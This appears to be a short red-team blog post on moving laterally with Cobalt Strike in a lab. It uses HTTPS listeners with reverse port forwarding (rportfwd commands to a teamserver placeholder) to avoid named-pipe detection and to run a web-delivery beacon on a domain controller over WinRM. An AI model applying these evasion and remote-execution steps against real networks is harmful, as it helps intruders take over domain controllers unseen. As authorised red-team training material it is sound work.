Lateral Movement With Cobaltstrike

In this short blog, we revisit the realm of Cobalt Strike and explore the somewhat undocumented advantages of utilizing HTTP(S) listeners during lateral movement over typical or traditional approac...

In this short blog, we revisit the realm of Cobalt Strike and explore the somewhat undocumented advantages of utilizing HTTP(S) listeners during lateral movement over typical or traditional approaches involving SMB pipe and reverse TCPs listeners. We’ll also learn how to use HTTP listeners instead of SMB/TCP for simulated red teaming operations. Furthermore, we set up a small active directory network to perform a practical. The peer-to-peer listeners are super helpful when dealing with lateral movement. It doesn’t require any reverse port forwarding and an internet connection to reach redirectors. It uses named pipes to receive and send data; the protocol is SMB.

So, what’s the issue? Huh?

Firstly the named pipe is easy to detect. There are many public blogs to detect SMB-named pipes; one is called Hunting & Detecting SMB Named Pipe Pivoting. The same thing happens with the Sleep-mask kit. It doesn’t work as expected with SMB listeners and easily gets detected in memory by Endpoints, but HTTP(S) listeners don’t get detected with the same configuration.

Setting Lab Environment

The lab consists of three machines. We assume we have a compromised machine; in our case, it’s WIN. The domain controller (in our case DC01) is in a completely different subnet. To get a beacon on DC01, we must set up an SMB or TCP listener. But keeping the goal of the blog in mind, we use HTTPS listeners to achieve this goal.

Required Steps

  • Start a reverse port forwarding on the compromised computer
  • Create an HTTPS listener with “HTTPS Hosts” and “HTTPS Host (stager).”
  • Execute generated DLL/Shellcode on the target computer.
  • And we should have a running beacon.

Demonstration in our lab

Reverse Port Forwarding

To start a reverse port forwarding, in Cobalt Strike, we have a command called rportfwd. We need to pick one port, i.e., our listener port. We can start an optional port if any web is required to upload.

rportfwd 4443 <TEAMSERVER_IP> 4443
rportfwd 80 <TEAMSERVER_IP> 80

Setting up a Listener

We start a listener with the IP Address of Subnet-1 SO THAT THE DC01 can communicate with it. The “HTTPS Hosts” and “HTTPS Host (Stager)” should match the IP Address of the other subnet we are targeting. In our case, the Subnet-1’s IP address is 192.168.64.128. The port should be the same; we started a reverse port forwarding (4443).

We already have port forwarded 80, so we can generate a scripted web delivery to execute on the remote target.

Execute Beacon!

Once everything is configured correctly, we can execute the command on DC01 using Winrm to get a beacon.

That’s how to use HTTP(S) listeners if there are custom rules to detect malicious named pipes.

Conclusion

Using named pipes is a good idea, but sometimes it can cause multiple issues and can get one caught. A better way Is to effectively use HTTP(S) listeners with reverse port forwarding, as the HTTP(S) listeners are perfect among others.